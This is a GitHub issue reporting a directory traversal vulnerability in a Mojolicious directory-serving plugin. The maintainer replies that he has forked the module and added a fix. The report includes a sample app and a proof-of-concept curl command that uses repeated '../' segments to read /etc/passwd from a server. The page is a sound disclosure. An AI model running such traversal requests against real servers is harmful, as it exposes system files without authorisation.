Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

This module has directory browsing vulnerability #8

Open
hhs66317 opened this issue Sep 18, 2020 · 1 comment
Open

This module has directory browsing vulnerability #8

hhs66317 opened this issue Sep 18, 2020 · 1 comment

Comments

@hhs66317
Copy link

#!/usr/bin/env perl

# simple usage
use Mojolicious::Lite;

plugin Directory => {root => "/home/www/html/soft/" , dir_index => [qw/index.html index.htm/] , auto_index => 1};
plugin AccessLog => {log => '/home/mojo_web/Mojo_web.log' , format => '%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-agent}i" '};

app->start;
curl -v http://172.17.1.13:9090/../../../../../../../../../../../../etc/passwd
@briandfoy
Copy link

I've forked this module as Mojolicious::Plugin::DirectoryServer (https://github.com/briandfoy/mojolicious-plugin-directoryserver) and added some logic to handle this situation.

For what it's worth, my curl and other interactive browsers already strip the .. from URL (RFC 3986), but I can test it while telnetting directory to the server.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants